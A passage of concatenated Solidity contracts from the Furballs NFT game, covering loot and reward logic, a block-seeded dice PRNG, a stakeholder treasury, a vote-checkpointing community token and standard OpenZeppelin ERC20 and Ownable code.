FurLib.RewardModifiers memory modifiers ) external virtual override returns(uint128) { if (modifiers.luckPercent == 0) return 0; (uint8 rarity, uint8 stat) = _rollRarityStat( uint32((intervals * uint256(modifiers.luckPercent)) /100), 0); return _packLoot(rarity, stat); } /// @notice The snack shop has IDs for each snack definition function getSnack(uint32 snackId) external view virtual override returns(FurLib.Snack memory) { return snacks.getSnack(snackId); } /// @notice Layers on LootEngine modifiers to rewards function modifyReward( FurLib.Furball memory furball, FurLib.RewardModifiers memory modifiers, FurLib.Account memory account, bool contextual ) external virtual override view returns(FurLib.RewardModifiers memory) { // Use temporary variables is more gas-efficient than accessing them off the struct FurLib.ZoneReward memory zr = zones.getFurballZoneReward(furball.number); if (contextual && zr.mode != 1) { modifiers.luckPercent = 0; modifiers.expPercent = 0; modifiers.furPercent = 0; return modifiers; } uint16 expPercent = modifiers.expPercent + modifiers.happinessPoints + zr.rarity; uint16 furPercent = modifiers.furPercent + _furBoost(furball.level) + zr.rarity; // First add in the inventory for (uint256 i=0; i<furball.inventory.length; i++) { uint128 lootId = uint128(furball.inventory[i] >> 8); (uint8 rarity, uint8 stat) = _itemRarityStat(lootId); uint32 stackSize = uint32(furball.inventory[i] & 0xFF); uint16 boost = uint16(_lootRarityBoost(rarity) * stackSize); if (stat == 0) { expPercent += boost; } else { furPercent += boost; } } // Team size boosts! if (account.numFurballs > 1) { uint16 amt = uint16(2 * (account.numFurballs <= 10 ? (account.numFurballs - 1) : 10)); expPercent += amt; furPercent += amt; } modifiers.luckPercent = _luckBoosts( modifiers.luckPercent + modifiers.happinessPoints, furball.weight, modifiers.energyPoints); if (contextual) modifiers.luckPercent = _timeScalePercent(modifiers.luckPercent, furball.last, zr.timestamp); modifiers.furPercent = (contextual ? _timeScalePercent(furPercent, furball.last, zr.timestamp) : furPercent); modifiers.expPercent = (contextual ? _timeScalePercent(expPercent, furball.last, zr.timestamp) : expPercent); return modifiers; } /// @notice OpenSea metadata function attributesMetadata( uint256 tokenId ) external virtual override view returns(bytes memory) { FurLib.FurballStats memory stats = furballs.stats(tokenId, false); return abi.encodePacked( zones.attributesMetadata(stats, tokenId, maxExperience), MetaData.traitValue("Rare Genes Boost", stats.definition.rarity), MetaData.traitNumber("Edition", (tokenId & 0xFF) + 1), MetaData.traitNumber("Unique Loot Collected", stats.definition.inventory.length), MetaData.traitBoost("EXP Boost", stats.modifiers.expPercent), MetaData.traitBoost("FUR Boost", stats.modifiers.furPercent), MetaData.traitDate("Acquired", stats.definition.trade), MetaData.traitDate("Birthday", stats.definition.birth) ); } // ----------------------------------------------------------------------------------------------- // GameAdmin // ----------------------------------------------------------------------------------------------- /// @notice The trade hook can update balances or assign rewards function onTrade( FurLib.Furball memory furball, address from, address to ) external virtual override gameAdmin { // Do the first computation of the Furball's boosts if (from == address(0)) zones.computeStats(furball.number, 0); Governance gov = furballs.governance(); if (from != address(0)) gov.updateAccount(from, furballs.balanceOf(from) - 1); if (to != address(0)) gov.updateAccount(to, furballs.balanceOf(to) + 1); } /// @notice Calculates new level for experience function onExperience( FurLib.Furball memory furball, address owner, uint32 experience ) external virtual override gameAdmin returns(uint32 totalExp, uint16 levels) { // Zones keep track of the "additional" EXP, accrued via TK (it will get zeroed on zone change) FurLib.ZoneReward memory zr = zones.getFurballZoneReward(furball.number); uint32 has = furball.experience + zr.experience; totalExp = (experience < maxExperience && has < (maxExperience - experience)) ? (has + experience) : maxExperience; // Calculate new level & check for level-up uint16 oldLevel = furball.level; uint16 level = uint16(FurLib.expToLevel(totalExp, maxExperience)); levels = level > oldLevel ? (level - oldLevel) : 0; if (levels > 0) { // Update community standing furballs.governance().updateMaxLevel(owner, level); } return (totalExp, levels); } // ----------------------------------------------------------------------------------------------- // Internal // ----------------------------------------------------------------------------------------------- /// @notice After Timekeeper, rewards need to be scaled by the remaining time function _timeScalePercent( uint16 percent, uint64 furballLast, uint64 zoneLast ) internal view returns(uint16) { if (furballLast >= zoneLast) return percent; // TK was not more recent return uint16((uint64(percent) * (uint64(block.timestamp) - zoneLast)) / (uint64(block.timestamp) - furballLast)); } function _luckBoosts(uint16 luckPercent, uint16 weight, uint16 energy) internal pure returns(uint16) { // Calculate weight & reduce luck if (weight > 0) { if (energy > 0) { weight = (energy >= weight) ? 0 : (weight - energy); } if (weight > 0) { luckPercent = weight >= luckPercent ? 0 : (luckPercent - weight); } } return luckPercent; } /// @notice Core loot drop rarity randomization /// @dev exposes an interface helpful for the unit tests, but is not otherwise called publicly function _rollRarityStat(uint32 chance, uint32 seed) internal returns(uint8, uint8) { if (chance == 0) return (0, 0); uint32 threshold = 4320; uint32 rolled = roll(seed) % threshold; uint8 stat = uint8(rolled % 2); if (chance > threshold || rolled >= (threshold - chance)) return (3, stat); threshold -= chance; if (chance * 3 > threshold || rolled >= (threshold - chance * 3)) return (2, stat); threshold -= chance * 3; if (chance * 6 > threshold || rolled >= (threshold - chance * 6)) return (1, stat); return (0, stat); } function _packLoot(uint16 rarity, uint16 stat) internal pure returns(uint128) { return rarity == 0 ? 0 : (uint16(rarity) << 16) + (stat << 8); } function _lootRarityBoost(uint16 rarity) internal pure returns (uint16) { if (rarity == 1) return 5; else if (rarity == 2) return 15; else if (rarity == 3) return 30; return 0; } /// @notice Gets the FUR boost for a given level function _furBoost(uint16 level) internal pure returns (uint16) { if (level >= 200) return 581; if (level < 25) return (2 * level); if (level < 50) return (5000 + (level - 25) * 225) / 100; if (level < 75) return (10625 + (level - 50) * 250) / 100; if (level < 100) return (16875 + (level - 75) * 275) / 100; if (level < 125) return (23750 + (level - 100) * 300) / 100; if (level < 150) return (31250 + (level - 125) * 325) / 100; if (level < 175) return (39375 + (level - 150) * 350) / 100; return (48125 + (level - 175) * 375) / 100; } /// @notice Unpacks an item, giving its rarity + stat function _itemRarityStat(uint128 lootId) internal pure returns (uint8, uint8) { return ( uint8(FurLib.extractBytes(lootId, FurLib.LOOT_BYTE_RARITY, 1)), uint8(FurLib.extractBytes(lootId, FurLib.LOOT_BYTE_STAT, 1))); } function _getSubdomain() internal view returns (string memory) { uint chainId = _getChainId(); if (chainId == 3) return "ropsten."; if (chainId == 4) return "rinkeby."; if (chainId == 31337) return "localhost."; return ""; } function _getChainId() internal view returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } /// @notice Permission job proxy modifier gameJob() { require(msg.sender == l2Proxy || _permissionCheck(msg.sender) >= FurLib.PERMISSION_ADMIN, "JOB"); _; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(ILootEngine).interfaceId || super.supportsInterface(interfaceId); } // function _inventoryBoosts( // uint256[] memory inventory, bool contextual // ) internal view returns(uint16 expPercent, uint16 furPercent) { // for (uint256 i=0; i<inventory.length; i++) { // uint128 lootId = uint128(inventory[i] / 0x100); // (uint8 rarity, uint8 stat) = _itemRarityStat(lootId); // if (stat == 1 && contextual) continue; // uint32 stackSize = uint32(inventory[i] & 0xFF); // uint16 boost = uint16(_lootRarityBoost(rarity) * stackSize); // if (stat == 0) { // expPercent += boost; // } else { // furPercent += boost; // } // } // } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; // Contract doesn't really provide anything... contract OwnableDelegateProxy {} // Required format for OpenSea of proxy delegate store // https://github.com/ProjectOpenSea/opensea-creatures/blob/f7257a043e82fae8251eec2bdde37a44fee474c4/contracts/ERC721Tradable.sol // https://etherscan.io/address/0xa5409ec958c83c3f309868babaca7c86dcb077c1#code contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./FurLib.sol"; /// @title Dice /// @author LFG Gaming LLC /// @notice Math utility functions that leverage storage and thus cannot be pure abstract contract Dice { uint32 private LAST = 0; // Re-seed for PRNG /// @notice A PRNG which re-seeds itself with block information & another PRNG /// @dev This is unit-tested with monobit (frequency) and longestRunOfOnes function roll(uint32 seed) internal returns (uint32) { LAST = uint32(uint256(keccak256( abi.encodePacked(block.timestamp, block.basefee, _prng(LAST == 0 ? seed : LAST))) )); return LAST; } /// @notice A PRNG based upon a Lehmer (Park-Miller) method /// @dev https://en.wikipedia.org/wiki/Lehmer_random_number_generator function _prng(uint32 seed) internal view returns (uint256) { unchecked { uint256 nonce = seed == 0 ? uint32(block.timestamp) : seed; return (nonce * 48271) % 0x7fffffff; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./FurProxy.sol"; import "./FurLib.sol"; import "../Furballs.sol"; /// @title Stakeholders /// @author LFG Gaming LLC /// @notice Tracks "percent ownership" of a smart contract, paying out according to schedule /// @dev Acts as a treasury, receiving ETH funds and distributing them to stakeholders abstract contract Stakeholders is FurProxy { // stakeholder values, in 1/1000th of a percent (received during withdrawls) mapping(address => uint64) public stakes; // List of stakeholders. address[] public stakeholders; // Where any remaining funds should be deposited. Defaults to contract creator. address payable public poolAddress; constructor(address furballsAddress) FurProxy(furballsAddress) { poolAddress = payable(msg.sender); } /// @notice Overflow pool of funds. Contains remaining funds from withdrawl. function setPool(address addr) public onlyOwner { poolAddress = payable(addr); } /// @notice Changes payout percentages. function setStakeholder(address addr, uint64 stake) public onlyOwner { if (!_hasStakeholder(addr)) { stakeholders.push(addr); } uint64 percent = stake; for (uint256 i=0; i<stakeholders.length; i++) { if (stakeholders[i] != addr) { percent += stakes[stakeholders[i]]; } } require(percent <= FurLib.OneHundredPercent, "Invalid stake (exceeds 100%)"); stakes[addr] = stake; } /// @notice Empties this contract's balance, paying out to stakeholders. function withdraw() external gameAdmin { uint256 balance = address(this).balance; require(balance >= FurLib.OneHundredPercent, "Insufficient balance"); for (uint256 i=0; i<stakeholders.length; i++) { address addr = stakeholders[i]; uint256 payout = balance * uint256(stakes[addr]) / FurLib.OneHundredPercent; if (payout > 0) { payable(addr).transfer(payout); } } uint256 remaining = address(this).balance; poolAddress.transfer(remaining); } /// @notice Check function _hasStakeholder(address addr) internal view returns(bool) { for (uint256 i=0; i<stakeholders.length; i++) { if (stakeholders[i] == addr) { return true; } } return false; } // ----------------------------------------------------------------------------------------------- // Payable // ----------------------------------------------------------------------------------------------- /// @notice This contract can be paid transaction fees, e.g., from OpenSea /// @dev The contractURI specifies itself as the recipient of transaction fees receive() external payable { } } // SPDX-License-Identifier: BSD-3-Clause /// @title Vote checkpointing for an ERC-721 token /// @dev This ERC20 has been adopted from /// https://github.com/nounsDAO/nouns-monorepo/blob/master/packages/nouns-contracts/contracts/base/ERC721Checkpointable.sol /********************************* * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░██░░░████░░██░░░████░░░ * * ░░██████░░░████████░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * *********************************/ // LICENSE // Community.sol uses and modifies part of Compound Lab's Comp.sol: // https://github.com/compound-finance/compound-protocol/blob/ae4388e780a8d596d97619d9704a931a2752c2bc/contracts/Governance/Comp.sol // // Comp.sol source code Copyright 2020 Compound Labs, Inc. licensed under the BSD-3-Clause license. // With modifications by Nounders DAO. // // Additional conditions of BSD-3-Clause can be found here: https://opensource.org/licenses/BSD-3-Clause // // MODIFICATIONS // Checkpointing logic from Comp.sol has been used with the following modifications: // - `delegates` is renamed to `_delegates` and is set to private // - `delegates` is a public function that uses the `_delegates` mapping look-up, but unlike // Comp.sol, returns the delegator's own address if there is no delegate. // This avoids the delegator needing to "delegate to self" with an additional transaction // - `_transferTokens()` is renamed `_beforeTokenTransfer()` and adapted to hook into OpenZeppelin's ERC721 hooks. pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./FurLib.sol"; /// @title Community /// @author LFG Gaming LLC /// @notice This is a derived token; it represents a weighted balance of the ERC721 token (Furballs). /// @dev There is no fiscal interest in Community. This is simply a measured value of community voice. contract Community is ERC20 { /// @notice A record of each accounts delegate mapping(address => address) private _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } constructor() ERC20("FurballsCommunity", "FBLS") { } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256('EIP712Domain(string name,uint256 chainId,address verifyingContract)'); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256('Delegation(address delegatee,uint256 nonce,uint256 expiry)'); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /** * @notice The votes a delegator can delegate, which is the current balance of the delegator. * @dev Used when calling `_delegate()` */ function votesToDelegate(address delegator) public view returns (uint96) { return safe96(balanceOf(delegator), 'Community::votesToDelegate: amount exceeds 96 bits'); } /** * @notice Overrides the standard `Comp.sol` delegates mapping to return * the delegator's own address if they haven't delegated. * This avoids having to delegate to oneself. */ function delegates(address delegator) public view returns (address) { address current = _delegates[delegator]; return current == address(0) ? delegator : current; } /// @notice Sets the addresses' standing directly function update(FurLib.Account memory account, address addr) external returns (uint256) { require(false, 'NEED SECURITY'); // uint256 balance = balanceOf(addr); // if (standing > balance) { // _mint(addr, standing - balance); // } else if (standing < balance) { // _burn(addr, balance - standing); // } } /** * @notice Adapted from `_transferTokens()` in `Comp.sol` to update delegate votes. * @dev hooks into OpenZeppelin's `ERC721._transfer` */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override { super._beforeTokenTransfer(from, to, amount); require(from == address(0), "Votes may not be traded."); /// @notice Differs from `_transferTokens()` to use `delegates` override method to simulate auto-delegation _moveDelegates(delegates(from), delegates(to), uint96(amount)); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { if (delegatee == address(0)) delegatee = msg.sender; return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public { bytes32 domainSeparator = keccak256( abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)) ); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked('\x19\x01', domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), 'Community::delegateBySig: invalid signature'); require(nonce == nonces[signatory]++, 'Community::delegateBySig: invalid nonce'); require(block.timestamp <= expiry, 'Community::delegateBySig: signature expired'); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) { require(blockNumber < block.number, 'Community::getPriorVotes: not yet determined'); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { /// @notice differs from `_delegate()` in `Comp.sol` to use `delegates` override method to simulate auto-delegation address currentDelegate = delegates(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); uint96 amount = votesToDelegate(delegator); _moveDelegates(currentDelegate, delegatee, amount); } function _moveDelegates( address srcRep, address dstRep, uint96 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, 'Community::_moveDelegates: amount underflows'); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, 'Community::_moveDelegates: amount overflows'); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32( block.number, 'Community::_writeCheckpoint: block number exceeds 32 bits' ); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal view returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "../utils/FurProxy.sol"; /// @title Fuel /// @author LFG Gaming LLC /// @notice Simple tracker for how much 